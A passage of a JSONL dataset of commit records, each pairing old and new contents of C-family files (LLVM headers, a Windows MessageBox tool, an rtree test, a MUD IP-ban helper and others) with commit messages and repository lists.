<4fdbf0932cf8fc9903ee31afa97cf723d35eb3f3@warrenmoore.net>\n","lang":"C","license":"apache-2.0","repos":"eliteraspberries\/pal,parallella\/pal,olajep\/pal,aolofsson\/pal,debug-de-su-ka\/pal,debug-de-su-ka\/pal,olajep\/pal,parallella\/pal,aolofsson\/pal,eliteraspberries\/pal,8l\/pal,8l\/pal,RafaelRMA\/pal,aolofsson\/pal,olajep\/pal,parallella\/pal,8l\/pal,Adamszk\/pal3,8l\/pal,eliteraspberries\/pal,mateunho\/pal,Adamszk\/pal3,mateunho\/pal,parallella\/pal,eliteraspberries\/pal,eliteraspberries\/pal,RafaelRMA\/pal,debug-de-su-ka\/pal,aolofsson\/pal,Adamszk\/pal3,RafaelRMA\/pal,Adamszk\/pal3,mateunho\/pal,mateunho\/pal,mateunho\/pal,RafaelRMA\/pal,debug-de-su-ka\/pal,parallella\/pal,olajep\/pal,debug-de-su-ka\/pal"}
{"commit":"e836bae30c73e4d63e1126c3308dccba350a4154","old_file":"include\/llvm\/CodeGen\/SSARegMap.h","new_file":"include\/llvm\/CodeGen\/SSARegMap.h","old_contents":"\/\/===-- llvm\/CodeGen\/SSARegMap.h --------------------------------*- C++ -*-===\/\/\n\/\/ \n\/\/ Map register numbers to register classes that are correctly sized (typed) to\n\/\/ hold the information. Assists register allocation. Contained by\n\/\/ MachineFunction, should be deleted by register allocator when it is no\n\/\/ longer needed.\n\/\/   \n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_SSAREGMAP_H\n#define LLVM_CODEGEN_SSAREGMAP_H\n\n#include \"llvm\/Target\/MRegisterInfo.h\"\n\nclass TargetRegisterClass;\n\nclass SSARegMap {\n  std::vector<const TargetRegisterClass*> RegClassMap;\n\n  unsigned rescale(unsigned Reg) { \n    return Reg - MRegisterInfo::FirstVirtualRegister;\n  }\n\n public:\n  const TargetRegisterClass* getRegClass(unsigned Reg) {\n    unsigned actualReg = rescale(Reg);\n    assert(actualReg < RegClassMap.size() && \"Register out of bounds\");\n    return RegClassMap[actualReg];\n  }\n\n  void addRegMap(unsigned Reg, const TargetRegisterClass* RegClass) {\n    assert(rescale(Reg) == RegClassMap.size() && \n           \"Register mapping not added in sequential order!\");\n    RegClassMap.push_back(RegClass);\n  }\n};\n\n#endif\n","new_contents":"\/\/===-- llvm\/CodeGen\/SSARegMap.h --------------------------------*- C++ -*-===\/\/\n\/\/ \n\/\/ Map register numbers to register classes that are correctly sized (typed) to\n\/\/ hold the information. Assists register allocation. Contained by\n\/\/ MachineFunction, should be deleted by register allocator when it is no\n\/\/ longer needed.\n\/\/   \n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_SSAREGMAP_H\n#define LLVM_CODEGEN_SSAREGMAP_H\n\n#include \"llvm\/Target\/MRegisterInfo.h\"\n\nclass TargetRegisterClass;\n\nclass SSARegMap {\n  std::vector<const TargetRegisterClass*> RegClassMap;\n\n  unsigned rescale(unsigned Reg) { \n    return Reg - MRegisterInfo::FirstVirtualRegister;\n  }\n\n public:\n  const TargetRegisterClass* getRegClass(unsigned Reg) {\n    unsigned actualReg = rescale(Reg);\n    assert(actualReg < RegClassMap.size() && \"Register out of bounds\");\n    return RegClassMap[actualReg];\n  }\n\n  \/\/\/ createVirtualRegister - Create and return a new virtual register in the\n  \/\/\/ function with the specified register class.\n  \/\/\/\n  unsigned createVirtualRegister(const TargetRegisterClass *RegClass) {\n    RegClassMap.push_back(RegClass);\n    return RegClassMap.size()+MRegisterInfo::FirstVirtualRegister-1;\n  }\n};\n\n#endif\n","subject":"Simplify interface to creating a register","message":"Simplify interface to creating a register\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@5211 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm"}
{"commit":"c0d2000ad1a76b23efb1773cf8db0c45cef560d0","old_file":"Source\/UnrealCV\/Private\/libs\/cnpy.h","new_file":"Source\/UnrealCV\/Private\/libs\/cnpy.h","old_contents":"\/\/ Copyright (C) 2011  Carl Rogers\n\/\/ Released under MIT License\n\/\/ Simplied by Weichao Qiu (qiuwch@gmail.com) from https:\/\/github.com\/rogersce\/cnpy\n#pragma once\n#include <vector>\n\nnamespace cnpy {\n\ttemplate<typename T>\n\tstd::vector<char> create_npy_header(const T* data, const std::vector<int> shape);\n\n\ttemplate<typename T>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const T rhs) {\n\t\t\/\/write in little endian\n\t\tfor (char byte = 0; byte < sizeof(T); byte++) {\n\t\t\tchar val = *((char*)&rhs + byte);\n\t\t\tlhs.push_back(val);\n\t\t}\n\t\treturn lhs;\n\t}\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const std::string rhs);\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const char* rhs);\n}\n","new_contents":"\/\/ Copyright (C) 2011  Carl Rogers\n\/\/ Released under MIT License\n\/\/ Simplied by Weichao Qiu (qiuwch@gmail.com) from https:\/\/github.com\/rogersce\/cnpy\n#pragma once\n#include <vector>\n#include <string>\n\nnamespace cnpy {\n\ttemplate<typename T>\n\tstd::vector<char> create_npy_header(const T* data, const std::vector<int> shape);\n\n\ttemplate<typename T>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const T rhs) {\n\t\t\/\/write in little endian\n\t\tfor (char byte = 0; byte < sizeof(T); byte++) {\n\t\t\tchar val = *((char*)&rhs + byte);\n\t\t\tlhs.push_back(val);\n\t\t}\n\t\treturn lhs;\n\t}\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const std::string rhs);\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const char* rhs);\n}\n","subject":"Fix a compilation error for UE4.12.","message":"Fix a compilation error for UE4.12.\n","lang":"C","license":"mit","repos":"unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv"}
{"commit":"8597a0bd12c09d88dc5a41072446af219055b1ae","old_file":"messagebox.c","new_file":"messagebox.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nShowCmd)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\", szArgList[0]);\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nShowCmd)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\");\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    \/* Ignore _wtoi errors. *\/\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","subject":"Remove unused fprintf arg; add comment on _wtoi","message":"Remove unused fprintf arg; add comment on _wtoi\n","lang":"C","license":"mit","repos":"dbohdan\/messagebox,dbohdan\/messagebox"}
{"commit":"780f85f9521ae28669cd25bad8ffe8d74f7c913c","old_file":"src\/hexutil\/basics\/datum.h","new_file":"src\/hexutil\/basics\/datum.h","old_contents":"#ifndef DATUM_H\n#define DATUM_H\n\n#include \"hexutil\/basics\/atom.h\"\n\n\n\/\/ The variant must be wrapped like this, otherwise the compiler will get confused about which overload to use\nstruct Datum {\n    Datum(): value(0) { }\n    Datum(int x): value(x) { }\n\n    boost::variant<Atom, int, float, std::string> value;\n\n    Datum& operator=(const Datum& x) {\n        value = x.value;\n        return *this;\n    }\n\n    bool operator==(const Datum& x) const { return value == x.value; }\n\n    Datum& operator=(const int& x) { value = x; return *this; }\n    bool operator==(const int& x) const { return boost::get<int>(value) == x; }\n\n    template<typename T>\n    operator T() const { return boost::get<T>(value); }\n\n    template<typename T>\n    bool is() const {\n        return boost::get<T>(&value) != nullptr;\n    }\n\n    template<typename T>\n    const T& get() const {\n        return boost::get<T>(value);\n    }\n\n    std::string get_as_str() const;\n    Atom get_as_atom() const;\n    int get_as_int() const;\n};\n\nstd::ostream& operator<<(std::ostream& os, const Datum& atom);\n\n\n#endif\n","new_contents":"#ifndef DATUM_H\n#define DATUM_H\n\n#include \"hexutil\/basics\/atom.h\"\n\n\n\/\/ The variant must be wrapped like this, otherwise the compiler will get confused about which overload to use\nstruct Datum {\n    Datum(): value(0) { }\n    Datum(int x): value(x) { }\n    Datum(const std::string& x): value(x) { }\n\n    boost::variant<Atom, int, float, std::string> value;\n\n    Datum& operator=(const Datum& x) {\n        value = x.value;\n        return *this;\n    }\n\n    bool operator==(const Datum& x) const { return value == x.value; }\n\n    Datum& operator=(const Atom& x) { value = x; return *this; }\n    bool operator==(const Atom& x) const { return boost::get<Atom>(value) == x; }\n\n    Datum& operator=(const int& x) { value = x; return *this; }\n    bool operator==(const int& x) const { return boost::get<int>(value) == x; }\n\n    template<typename T>\n    operator T() const { return boost::get<T>(value); }\n\n    template<typename T>\n    bool is() const {\n        return boost::get<T>(&value) != nullptr;\n    }\n\n    template<typename T>\n    const T& get() const {\n        return boost::get<T>(value);\n    }\n\n    std::string get_as_str() const;\n    Atom get_as_atom() const;\n    int get_as_int() const;\n};\n\nstd::ostream& operator<<(std::ostream& os, const Datum& atom);\n\n\n#endif\n","subject":"Support comparing Datums against Atoms.","message":"Support comparing Datums against Atoms.\n","lang":"C","license":"mit","repos":"ejrh\/hex,ejrh\/hex"}
{"commit":"ed52a05fc53cd69c6155ba72467b35f7994a68ce","old_file":"libredex\/SpartaInterprocedural.h","new_file":"libredex\/SpartaInterprocedural.h","old_contents":"","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include \"Analyzer.h\"\n#include \"CallGraph.h\"\n#include \"DexClass.h\"\n#include \"MonotonicFixpointIterator.h\"\n\nnamespace sparta_interprocedural {\n\nstruct AnalysisAdaptorBase {\n  using Function = const DexMethod*;\n  using Program = const Scope&;\n  using CallGraphInterface = call_graph::GraphInterface;\n\n  \/\/ Uses the serial fixpoint iterator by default. The user can override this\n  \/\/ type alias to use the parallel fixpoint.\n  template <typename GraphInterface, typename Domain>\n  using FixpointIteratorBase =\n      sparta::MonotonicFixpointIterator<GraphInterface, Domain>;\n\n  \/\/ The summary argument is unused in the adaptor base. Only certain\n  \/\/ analyses will require this argument, in which case this function\n  \/\/ should be *overriden* in the derived class.\n  template <typename FunctionSummaries>\n  static call_graph::Graph call_graph_of(const Scope& scope,\n                                         FunctionSummaries* \/*summaries*\/) {\n    \/\/ TODO: build method override graph and merge them together?\n    \/\/ TODO: build once and cache it in the memory because the framework\n    \/\/ will call it on every top level iteration.\n    return call_graph::single_callee_graph(scope);\n  }\n};\n\n} \/\/ namespace sparta_interprocedural\n","subject":"Create IR adaptor for sparta interprocedural facilities","message":"Create IR adaptor for sparta interprocedural facilities\n\nSummary: If the IR has a call graph and the GraphInterface is already defined for Sparta, this should be easy.\n\nReviewed By: jeremydubreil\n\nDifferential Revision: D19665016\n\nfbshipit-source-id: f987f9a94152e1040f2d82c7d3d72f18282d2309\n","lang":"C","license":"mit","repos":"facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex"}
{"commit":"55ad95c141b0962dda7f3d530e6ec9c7f143ec1d","old_file":"test\/src\/main.c","new_file":"test\/src\/main.c","old_contents":"#include <stdio.h>\n#include \"main.h\"\n\nint main() {\n  printf(\"Test goes here.\\n\");\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include \"rtree.h\"\n#include \"minunit.h\"\n#include \"main.h\"\n\nint tests_run = 0;\n\nstatic char *test_all_kept() {\n  for (int count = 0; count < 1000; count++) {\n    rtree_t *rt = rtree_create();\n    for (uintptr_t i = 0; i < count; i++) {\n      rtree_add(rt, (void *) i, (double) drand48());\n    }\n    char *recvd = calloc(count, sizeof(char));\n    for (int i = 0; i < count; i++) {\n      int pos = (int) ((uintptr_t) rtree_rpop(rt));\n      recvd[pos]++;\n    }\n    for (int i = 0; i < count; i++) {\n      char *err_msg = calloc(80, sizeof(char));\n      sprintf(err_msg, \"Expected exactly 1 elt with value %d, but was %d\\n\", i,\n              recvd[i]);\n      mu_assert(err_msg, recvd[i] == 1);\n      free(err_msg);\n    }\n    free(recvd);\n    rtree_destroy(rt);\n  }\n  return 0;\n}\n\nstatic char *all_tests() {\n  mu_run_test(test_all_kept);\n  return 0;\n}\n\nint main() {\n  char *result = all_tests();\n  if (result != 0) {\n    printf(\"%s\\n\", result);\n  }\n  else {\n    printf(\"All tests passed.\\n\");\n  }\n  printf(\"Tests run: %d\\n\", tests_run);\n\n  return result != 0;\n}\n","subject":"Add in check to ensure all elements are included.","message":"Add in check to ensure all elements are included.\n","lang":"C","license":"mit","repos":"hyPiRion\/roulette-tree,hyPiRion\/roulette-tree"}
{"commit":"9bce7326cef3665966a756236c5b9284e776aeed","old_file":"src\/omnicore\/sto.h","new_file":"src\/omnicore\/sto.h","old_contents":"#ifndef OMNICORE_STO_H\n#define OMNICORE_STO_H\n\n#include <stdint.h>\n#include <set>\n#include <string>\n#include <utility>\n\nnamespace mastercore\n{\n\/\/! Comparator for owner\/receiver entries\nstruct SendToOwners_compare\n{\n    bool operator()(const std::pair<int64_t, std::string>& p1, const std::pair<int64_t, std::string>& p2) const;\n};\n\n\/\/! Fee required to be paid per owner\/receiver, nominated in willets\nconst int64_t TRANSFER_FEE_PER_OWNER = 1;\nconst int64_t TRANSFER_FEE_PER_OWNER_V1 = 100;\n\n\/\/! Set of owner\/receivers, sorted by amount they own or might receive\ntypedef std::set<std::pair<int64_t, std::string>, SendToOwners_compare> OwnerAddrType;\n\n\/** Determines the receivers and amounts to distribute. *\/\nOwnerAddrType STO_GetReceivers(const std::string& sender, uint32_t property, int64_t amount);\n}\n\n\n#endif \/\/ OMNICORE_STO_H\n","new_contents":"#ifndef OMNICORE_STO_H\n#define OMNICORE_STO_H\n\n#include <stdint.h>\n#include <set>\n#include <string>\n#include <utility>\n\nnamespace mastercore\n{\n\/\/! Comparator for owner\/receiver entries\nstruct SendToOwners_compare\n{\n    bool operator()(const std::pair<int64_t, std::string>& p1, const std::pair<int64_t, std::string>& p2) const;\n};\n\n\/\/! Fee required to be paid per owner\/receiver, nominated in willets\nconst int64_t TRANSFER_FEE_PER_OWNER = 1;\nconst int64_t TRANSFER_FEE_PER_OWNER_V1 = 1000;\n\n\/\/! Set of owner\/receivers, sorted by amount they own or might receive\ntypedef std::set<std::pair<int64_t, std::string>, SendToOwners_compare> OwnerAddrType;\n\n\/** Determines the receivers and amounts to distribute. *\/\nOwnerAddrType STO_GetReceivers(const std::string& sender, uint32_t property, int64_t amount);\n}\n\n\n#endif \/\/ OMNICORE_STO_H\n","subject":"Change STOv1 fee per recipient to 0.00001000 OMNI","message":"Change STOv1 fee per recipient to 0.00001000 OMNI\n","lang":"C","license":"mit","repos":"OmniLayer\/omnicore,OmniLayer\/omnicore,OmniLayer\/omnicore,OmniLayer\/omnicore,OmniLayer\/omnicore,OmniLayer\/omnicore"}
{"commit":"e28dd839113fb558faf877c9c097de6c7dcf5361","old_file":"games\/hack\/hack.version.c","new_file":"games\/hack\/hack.version.c","old_contents":"\/* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. *\/\n\/* hack.version.c - version 1.0.3 *\/\n\/* $Header: hack.version.c,v 1.5 85\/05\/09 00:40:41 aeb Exp $ *\/\n\n#include\t\"date.h\"\n\ndoversion(){\n\tpline(\"%s 1.0.3 - last edit %s.\", (\n#ifdef QUEST\n\t\t\"Quest\"\n#else\n\t\t\"Hack\"\n#endif QUEST\n\t\t), datestring);\n\treturn(0);\n}\n","new_contents":"\/* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. *\/\n\/* hack.version.c - version 1.0.3 *\/\n\/* $Id$ *\/\n\n#include\t\"date.h\"\n\ndoversion(){\n\tpline(\"%s 1.0.3 - last edit %s.\", (\n#ifdef QUEST\n\t\t\"Quest\"\n#else\n\t\t\"Hack\"\n#endif QUEST\n\t\t), datestring);\n\treturn(0);\n}\n","subject":"Use Id instead of Header.","message":"Use Id instead of Header.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"d14e9e78e427139e30c538242c5e65e895890067","old_file":"test\/FrontendC\/2007-03-27-VarLengthArray.c","new_file":"test\/FrontendC\/2007-03-27-VarLengthArray.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {getelementptr i32}\nextern void f(int *);\nint e(int m, int n) {\n  int x[n];\n  f(x);\n  return x[m];\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {getelementptr \\\\\\[0 x i32\\\\\\]}\nextern void f(int *);\nint e(int m, int n) {\n  int x[n];\n  f(x);\n  return x[m];\n}\n","subject":"Adjust this test for recent llvm-gcc changes.","message":"Adjust this test for recent llvm-gcc changes.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@65771 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"7dc6acf0160e2e66043e90a632aea9b03bf76f93","old_file":"iPhoneClient\/Classes\/model\/NearbyObjectProtocol.h","new_file":"iPhoneClient\/Classes\/model\/NearbyObjectProtocol.h","old_contents":"","new_contents":"\/\/\n\/\/  NearbyObjectProtocol.h\n\/\/  ARIS\n\/\/\n\/\/  Created by Brian Deith on 5\/15\/09.\n\/\/  Copyright 2009 __MyCompanyName__. All rights reserved.\n\/\/\n\nenum {\n\tNearbyObjectNPC\t\t\t= 1,\n\tNearbyObjectItem\t\t= 2,\n\tNearbyObjectNode\t\t= 3\n};\ntypedef UInt32 nearbyObjectKind;\n\n\n@protocol NearbyObjectProtocol\n- (NSString *)name; \n- (nearbyObjectKind)kind;\n- (BOOL)forcedDisplay;\n- (void)display;\n@end\n","subject":"Include nearby object protocol file","message":"Include nearby object protocol file\n","lang":"C","license":"mit","repos":"fielddaylab\/sifter-ios,fielddaylab\/sifter-ios"}
{"commit":"9562add2370844336a6cc14034fcada04b34fe4a","old_file":"lib\/Target\/X86\/X86InstrBuilder.h","new_file":"lib\/Target\/X86\/X86InstrBuilder.h","old_contents":"","new_contents":"\/\/===-- X86InstrBuilder.h - Functions to aid building x86 insts -*- C++ -*-===\/\/\n\/\/\n\/\/ This file exposes functions that may be used with BuildMI from the\n\/\/ MachineInstrBuilder.h file to handle X86'isms in a clean way.\n\/\/\n\/\/ The BuildMem function may be used with the BuildMI function to add entire\n\/\/ memory references in a single, typed, function call.  X86 memory references\n\/\/ can be very complex expressions (described in the README), so wrapping them\n\/\/ up behind an easier to use interface makes sense.  Descriptions of the\n\/\/ functions are included below.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef X86INSTRBUILDER_H\n#define X86INSTRBUILDER_H\n\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n\n\/\/\/ addDirectMem - This function is used to add a direct memory reference to the\n\/\/\/ current instruction.  Because memory references are always represented with\n\/\/\/ four values, this adds: Reg, [1, NoReg, 0] to the instruction\n\/\/\/\ninline const MachineInstrBuilder &addDirectMem(const MachineInstrBuilder &MIB,\n                                               unsigned Reg) {\n  return MIB.addReg(Reg).addZImm(1).addMReg(0).addSImm(0);\n}\n\n#endif\n","subject":"Add functions to buld X86 specific constructs","message":"Add functions to buld X86 specific constructs\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4714 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"32d67adf4196541bd6b4bc425886eb30e760978f","old_file":"mud\/home\/Account\/lib\/blacklist.c","new_file":"mud\/home\/Account\/lib\/blacklist.c","old_contents":"#include <kernel\/kernel.h>\n#include <kotaka\/paths\/account.h>\n\nstatic int is_control_garbage(string input)\n{\n\tif (strlen(input) >= 1 && input[0] < ' ') {\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n\nstatic int is_http_garbage(string input)\n{\n\tif (strlen(input) >= 4 && input[0 .. 3] == \"GET \") {\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n\nstatic string garbage(string input)\n{\n\tif (is_http_garbage(input)) {\n\t\treturn \"http\";\n\t}\n\n\tif (is_control_garbage(input)) {\n\t\treturn \"control\";\n\t}\n\n\treturn nil;\n}\n\nstatic void siteban(string ip, string reason)\n{\n\tstring creator;\n\tmapping ban;\n\n\tban = ([ ]);\n\n\tcreator = DRIVER->creator(object_name(this_object()));\n\n\tban[\"message\"] = reason;\n\tban[\"expire\"] = time() + 90 * 86400;\n\tban[\"issuer\"] = creator;\n\n\tBAND->ban_site(ip + \"\/32\", ban);\n}\n","new_contents":"#include <kernel\/kernel.h>\n#include <kotaka\/paths\/account.h>\n\nstatic int is_control_garbage(string input)\n{\n\tif (strlen(input) >= 1 && input[0] < ' ') {\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n\nstatic int is_http_garbage(string input)\n{\n\tif (strlen(input) >= 4 && input[0 .. 3] == \"GET \") {\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n\nstatic string garbage(string input)\n{\n\tif (is_control_garbage(input)) {\n\t\treturn \"control\";\n\t}\n\n\tif (is_http_garbage(input)) {\n\t\treturn \"http\";\n\t}\n\n\treturn nil;\n}\n\nstatic void siteban(string ip, string reason)\n{\n\tstring creator;\n\tmapping ban;\n\n\tban = ([ ]);\n\n\tcreator = DRIVER->creator(object_name(this_object()));\n\n\tban[\"message\"] = reason;\n\tban[\"expire\"] = time() + 90 * 86400;\n\tban[\"issuer\"] = creator;\n\n\tBAND->ban_site(ip + \"\/32\", ban);\n}\n","subject":"Check for control garbage before http garbage, httpd isn't detecting control garbage because it has http whitelisted","message":"Check for control garbage before http garbage, httpd isn't detecting control garbage because it has http whitelisted\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"1bc3089d0dbfd30a3384c3e7d387a6269bc9f69f","old_file":"kernel\/arch\/x86\/x86.h","new_file":"kernel\/arch\/x86\/x86.h","old_contents":"#pragma once\n\n#include <stdint.h>\n#include <cpuid.h>\n\n#define cpu_equals(name) __builtin_cpu_is(name)\n#define cpu_supports(feature) __builtin_cpu_supports(feature)\n#define get_cpuid(a, b, c, d) __get_cpuid(0, a, b, c, d)\n\ntypedef struct regs {\n    uint32_t gs, fs, es, ds;\n    uint32_t edi, esi, ebp, esp, ebx, edx, ecx, eax;\n    uint32_t int_no, err_code;\n    uint32_t eip, cs, eflags, useresp, ss;\n} regs_t;\n\n#define IRQ_CHAIN_SIZE 16\n#define IRQ_CHAIN_DEPTH 4\n\ntypedef void (*irq_handler_t) (regs_t *);\ntypedef int (*irq_handler_chain_t) (regs_t *);\n","new_contents":"#pragma once\n\n#include <stdint.h>\n#include <cpuid.h>\n\n#define cpu_equals(name) __builtin_cpu_is(name)\n#define cpu_supports(feature) __builtin_cpu_supports(feature)\n#define get_cpuid(in, a, b, c, d) __get_cpuid(in, a, b, c, d)\n\ntypedef struct regs {\n    uint32_t gs, fs, es, ds;\n    uint32_t edi, esi, ebp, esp, ebx, edx, ecx, eax;\n    uint32_t int_no, err_code;\n    uint32_t eip, cs, eflags, useresp, ss;\n} regs_t;\n\n#define IRQ_CHAIN_SIZE 16\n#define IRQ_CHAIN_DEPTH 4\n\ntypedef void (*irq_handler_t) (regs_t *);\ntypedef int (*irq_handler_chain_t) (regs_t *);\n","subject":"Add first parameter to get_cpuid definition.","message":"Add first parameter to get_cpuid definition.\n","lang":"C","license":"mit","repos":"DirectMyFile\/Raptor,DirectMyFile\/Raptor"}
